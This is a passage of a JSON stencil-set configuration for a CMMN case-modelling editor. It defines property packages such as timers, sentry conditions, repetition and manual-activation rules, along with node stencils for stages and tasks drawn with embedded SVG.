} ]\n    },\n    {\n    \"name\" : \"casetaskcasereferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"casetaskcasereference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Case reference\",\n      \"value\" : \"\",\n      \"description\" : \"Set the case reference\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"processtaskprocessreferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"processtaskprocessreference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"Process reference\",\n      \"value\" : \"\",\n      \"description\" : \"Set the process reference\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"timerexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timerexpression\",\n      \"type\" : \"String\",\n      \"title\" : \"Timer Expression\",\n      \"value\" : \"\",\n      \"description\" : \"An ISO-8601 string or an expression that resolves to either an ISO-8601 string or a java.util.Date\",\n      \"popular\" : true\n    } ]\n  },  {\n    \"name\" : \"timerstarttriggerpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timerstarttriggersourceref\",\n      \"type\" : \"flowable-planitem-dropdown\",\n      \"title\" : \"Start trigger plan item\",\n      \"value\" : \"\",\n      \"description\" : \"A reference to the plan item for which the configured standard event needs to happen to start the timer (optional)\",\n      \"popular\" : true\n    },\n    {\n      \"id\" : \"transitionevent\",\n      \"type\" : \"flowable-transitionevent\",\n      \"title\" : \"Start trigger transition event\",\n      \"value\" : \"complete\",\n      \"description\" : \"The type of the transition event. Only used when the start trigger plan item is set\",\n      \"popular\" : true\n    } ]\n  }, {\n      \"name\": \"decisiontaskdecisionreferencepackage\",\n      \"properties\": [\n        {\n          \"id\": \"decisiontaskdecisionreference\",\n          \"type\": \"Complex\",\n          \"title\": \"Decision reference\",\n          \"value\": \"\",\n          \"description\": \"Set the decision reference\",\n          \"popular\": true\n        }\n      ]\n    }, {\n    \"name\" : \"ifpartconditionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"ifpartcondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Condition\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that must be true to satisfy the sentry\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"autocompletepackage\",\n    \"properties\" : [ {\n      \"id\" : \"autocompleteenabled\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Auto complete\",\n      \"value\" : \"\",\n      \"description\" : \"Flag indicating that the stage will automatically complete, once all required children are in an end state and no other children are active.\",\n      \"popular\" : true,\n      \"refToView\" : \"autoComplete\"\n    }, {\n      \"id\" : \"autocompletecondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Auto complete condition\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that is resolved to if the stage can automatically complere.\",\n      \"popular\" : true\n    }]\n  }, {\n    \"name\" : \"requiredrulepackage\",\n    \"properties\" : [ {\n      \"id\" : \"requiredenabled\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Required\",\n      \"value\" : \"\",\n      \"description\" : \"Flag indicating if the stage, task or milestone is required when determining the parent stage completion. By default false.\",\n      \"popular\" : true,\n      \"refToView\" : \"required\"\n    }, {\n      \"id\" : \"requiredrulecondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Required Rule\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that is resolved to determine if the stage, task or milestone is required when determining the parent stage completion.\",\n      \"popular\" : true\n    }]\n  }, {\n    \"name\" : \"repetitionrulepackage\",\n    \"properties\" : [ {\n      \"id\" : \"repetitionenabled\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Repetition\",\n      \"value\" : \"\",\n      \"description\" : \"Flag indicating if repetition is enabled\",\n      \"popular\" : true,\n      \"refToView\" : \"repetition\"\n    }, {\n      \"id\" : \"repetitionrulecondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Repetition Rule\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that is resolved to determine if new instances of the planitem need to be created\",\n      \"popular\" : true\n    },\n    {\n      \"id\" : \"repetitioncountervariablename\",\n      \"type\" : \"String\",\n      \"title\" : \"Repetition counter variable\",\n      \"value\" : \"\",\n      \"description\" : \"The name of the local variable which stores the instance counter of the repetition. Default value is 'repetitionCounter'.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"manualactivationrulepackage\",\n    \"properties\" : [ {\n      \"id\" : \"manualactivationenabled\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Manual activation\",\n      \"value\" : \"\",\n      \"description\" : \"Flag indicating if the task or stage needs to be manually activated. False by default.\",\n      \"popular\" : true,\n      \"refToView\" : \"manualActivation\"\n    }, {\n      \"id\" : \"manualactivationrulecondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Manual activation Rule\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that is resolved to determine if the stage or task needs to be manually activated.\",\n      \"popular\" : true\n    }]\n  }, {\n    \"name\" : \"completionneutralrulepackage\",\n    \"properties\" : [ {\n      \"id\" : \"completionneutralenabled\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"Completion neutral\",\n      \"value\" : \"\",\n      \"description\" : \"Flag indicating if the plan item is completion neutral. False by default.\",\n      \"popular\" : true\n    }, {\n      \"id\" : \"completionneutralrulecondition\",\n      \"type\" : \"String\",\n      \"title\" : \"Completion neutral Rule\",\n      \"value\" : \"\",\n      \"description\" : \"An expression that is resolved to determine if the plan item is completion neutral.\",\n      \"popular\" : true\n    }]\n  }, {\n    \"name\": \"scriptformatpackage\",\n    \"properties\" : [ {\n        \"id\": \"scriptformat\",\n        \"type\": \"String\",\n        \"title\": \"Script format\",\n        \"value\": \"\",\n        \"description\": \"Script format of the script task (JavaScript, groovy, etc).\",\n        \"popular\": true\n  } ]\n  }, {\n    \"name\": \"scripttextpackage\",\n    \"properties\" : [ {\n        \"id\": \"scripttext\",\n        \"type\": \"Text\",\n        \"title\": \"Script\",\n        \"value\": \"\",\n        \"description\": \"Script text of the script task.\",\n        \"popular\": true\n      }\n    ]\n  }, {\n    \"name\" : \"transitioneventpackage\",\n    \"properties\" : [ {\n      \"id\" : \"transitionevent\",\n      \"type\" : \"flowable-transitionevent\",\n      \"title\" : \"Transition event type\",\n      \"value\" : \"complete\",\n      \"description\" : \"The type of the transition event\",\n      \"popular\" : true\n    } ]\n  } ],\n  \"stencils\" : [ {\n    \"type\" : \"node\",\n    \"id\" : \"CMMNDiagram\",\n    \"title\" : \"CMMN-Diagram\",\n    \"description\" : \"A CMMN 2.0 diagram.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"800\\\"\\n   height=\\\"600\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <g pointer-events=\\\"fill\\\" >\\n    <polygon stroke=\\\"black\\\" fill=\\\"black\\\" stroke-width=\\\"1\\\" points=\\\"0,0 0,590 9,599 799,599 799,9 790,0\\\" stroke-linecap=\\\"butt\\\" stroke-linejoin=\\\"miter\\\" stroke-miterlimit=\\\"10\\\" />\\n    <rect id=\\\"diagramcanvas\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"790\\\" height=\\\"590\\\" stroke=\\\"black\\\" stroke-width=\\\"2\\\" fill=\\\"white\\\" />\\n    \\t<text font-size=\\\"22\\\" id=\\\"diagramtext\\\" x=\\\"400\\\" y=\\\"25\\\" oryx:align=\\\"top center\\\" stroke=\\\"#373e48\\\"></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"diagram.png\",\n    \"groups\" : [ \"Diagram\" ],\n    \"mayBeRoot\" : true,\n    \"hide\" : true,\n    \"propertyPackages\" : [ \"case_idpackage\", \"namepackage\", \"documentationpackage\", \"case_initiatorvariablenamepackage\", \"case_authorpackage\", \"case_versionpackage\", \"case_namespacepackage\"],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CasePlanModel\",\n    \"title\" : \"Case plan model\",\n    \"description\" : \"A case plan model\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?> <svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" version=\\\"1.0\\\" width=\\\"580\\\" height=\\\"720\\\"> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"580 254\\\"> <defs> <radialGradient id=\\\"background\\\" cx=\\\"10%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"10%\\\" fy=\\\"10%\\\"> <stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/> <stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/> </radialGradient> </defs> <path id=\\\"input_dependent\\\" oryx:resize=\\\"vertical horizontal\\\" d=\\\"M7,30 L600 30 L600 754 L7 754 L7 30Z\\\" stroke=\\\"black\\\" fill=\\\"url(#background) #ffffff\\\" /> <path id=\\\"text_path\\\" d=\\\"M20 55 L37 34 L275 34 L291 55\\\" stroke=\\\"black\\\" fill=\\\"url(#background) #ffffff\\\" transform=\\\"translate(0,-25)\\\" oryx:anchors=\\\"top left\\\"/> <text id=\\\"text_name\\\" font-size=\\\"12\\\" x=\\\"150\\\" y=\\\"18\\\" oryx:fittoelem=\\\"text_path\\\" oryx:anchors=\\\"top left\\\" oryx:align=\\\"middle center\\\" stroke=\\\"black\\\"> </text> <g id=\\\"autoComplete\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom center\\\"><path d=\\\" M284 730  L300 730  L300 746  L284 746  z\\\" oryx:anchors=\\\"bottom center\\\"></path></g>  </g> </svg>\",\n    \"icon\" : \"containers/caseplanmodel.png\",\n    \"groups\" : [ \"Containers\" ],\n    \"hide\" : true,\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"formkeydefinitionpackage\",\n      \"formreferencepackage\",\n      \"autocompletepackage\"\n     ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"StageModelActivity\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"Stage\",\n    \"title\" : \"Stage\",\n    \"description\" : \"A stage\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?> <svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"371\\\" height=\\\"171\\\" version=\\\"1.0\\\"> <oryx:magnets> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"42\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"84\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"126\\\" oryx:anchors=\\\"left\\\" /><oryx:magnet oryx:cx=\\\"92\\\" oryx:cy=\\\"170\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"184\\\" oryx:cy=\\\"170\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"276\\\" oryx:cy=\\\"170\\\" oryx:anchors=\\\"bottom\\\" /><oryx:magnet oryx:cx=\\\"370\\\" oryx:cy=\\\"42\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"370\\\" oryx:cy=\\\"84\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"370\\\" oryx:cy=\\\"126\\\" oryx:anchors=\\\"right\\\" /><oryx:magnet oryx:cx=\\\"92\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"184\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"276\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /><oryx:magnet oryx:cx=\\\"185\\\" oryx:cy=\\\"85\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"160 93\\\"> <polygon id=\\\"bg_frame\\\" points=\\\"10 0 360 0 370 10 370 160 360 170 10 170 0 160 0 10 10 0\\\" oryx:resize=\\\"vertical horizontal\\\" stroke=\\\"black\\\" fill=\\\"#ffffff\\\"/> <text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"13\\\" y=\\\"2\\\" oryx:align=\\\"top left\\\" oryx:fittoelem=\\\"bg_frame\\\" stroke=\\\"black\\\"> </text> <g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M183 154 L183 164 M183 166 L183 168\\\" transform=\\\"translate(-4,0)\\\"></path></g> <g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M180 156 v12 M183 156 v12 M186 156 v12\\\" transform=\\\"translate(-30,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><path d=\\\" M198.88108108108108 162  L188.88108108108108 155  L188.88108108108108 155  L188.88108108108108 167  z\\\" fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" transform=\\\"translate(-2,0)\\\"></path></g> <g id=\\\"autoComplete\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><path d=\\\"M180 155 L189 155 L189 167 L180 167 L180 167z\\\" oryx:anchors=\\\"bottom\\\" transform=\\\"translate(-16,0)\\\"></path></g> </g></svg>\",\n    \"icon\" : \"containers/expanded.stage.png\",\n    \"groups\" : [ \"Containers\" ],\n    \"hide\" : true,\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"autocompletepackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\"\n    ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"StageActivity\", \"all\", \"association_start\", \"association_end\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"Task\",\n    \"title\" : \"Task\",\n    \"description\" : \"A manual task\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?><svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"102\\\" height=\\\"82\\\" version=\\\"1.0\\\"><defs></defs><oryx:magnets><oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" /><oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" /><oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" /><oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /><oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /><oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /><oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" /><oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" /><oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" /><oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /><oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /><oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /><oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" /></oryx:magnets><g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\"><rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" /><rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" /><text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"50\\\" y=\\\"40\\\" oryx:align=\\\"middle center\\\" oryx:fittoelem=\\\"text_frame\\\" stroke=\\\"#373e48\\\"></text><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n    \"icon\" : \"activity/task.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"blockingpackage\",\n      \"asyncpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\"],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"HumanTask\",\n    \"title\" : \"Human task\",\n    \"description\" : \"A manual task assigned to a specific person\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?><svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"102\\\" height=\\\"82\\\" version=\\\"1.0\\\"> <defs></defs>  <oryx:magnets>  <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />  <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />  <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />  <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\"> <rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" /> <rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" /> <text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"50\\\" y=\\\"40\\\" oryx:align=\\\"middle center\\\" oryx:fittoelem=\\\"text_frame\\\" stroke=\\\"#373e48\\\"></text><g id=\\\"userTask\\\" transform=\\\"translate(3,3)\\\"><path oryx:anchors=\\\"top left\\\" style=\\\"fill:#d1b575;stroke:none;\\\" d=\\\"m 1,17 16,0 0,-1.7778 -5.333332,-3.5555 0,-1.7778 c 1.244444,0 1.244444,-2.3111 1.244444,-2.3111 l 0,-3.0222 C 12.555557,0.8221 9.0000001,1.0001 9.0000001,1.0001 c 0,0 -3.5555556,-0.178 -3.9111111,3.5555 l 0,3.0222 c 0,0 0,2.3111 1.2444443,2.3111 l 0,1.7778 L 1,15.2222 1,17 17,17\\\" /></g><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n    \"icon\" : \"activity/humantask.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"blockingpackage\",\n      \"usertaskassignmentpackage\",\n      \"formkeydefinitionpackage\",\n      \"formreferencepackage\",\n      \"duedatedefinitionpackage\",\n      \"prioritydefinitionpackage\",\n      \"asyncpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ServiceTask\",\n    \"title\" : \"Service task\",\n    \"description\" : \"An automatic task with service logic\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"serviceTask\\\" transform=\\\"translate(3,3)\\\">\\n\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n     d=\\\"M 8,1 7.5,2.875 c 0,0 -0.02438,0.250763 -0.40625,0.4375 C 7.05724,3.330353 7.04387,3.358818 7,3.375 6.6676654,3.4929791 6.3336971,3.6092802 6.03125,3.78125 6.02349,3.78566 6.007733,3.77681 6,3.78125 5.8811373,3.761018 5.8125,3.71875 5.8125,3.71875 l -1.6875,-1 -1.40625,1.4375 0.96875,1.65625 c 0,0 0.065705,0.068637 0.09375,0.1875 0.002,0.00849 -0.00169,0.022138 0,0.03125 C 3.6092802,6.3336971 3.4929791,6.6676654 3.375,7 3.3629836,7.0338489 3.3239228,7.0596246 3.3125,7.09375 3.125763,7.4756184 2.875,7.5 2.875,7.5 L 1,8 l 0,2 1.875,0.5 c 0,0 0.250763,0.02438 0.4375,0.40625 0.017853,0.03651 0.046318,0.04988 0.0625,0.09375 0.1129372,0.318132 0.2124732,0.646641 0.375,0.9375 -0.00302,0.215512 -0.09375,0.34375 -0.09375,0.34375 L 2.6875,13.9375 4.09375,15.34375 5.78125,14.375 c 0,0 0.1229911,-0.09744 0.34375,-0.09375 0.2720511,0.147787 0.5795915,0.23888 0.875,0.34375 0.033849,0.01202 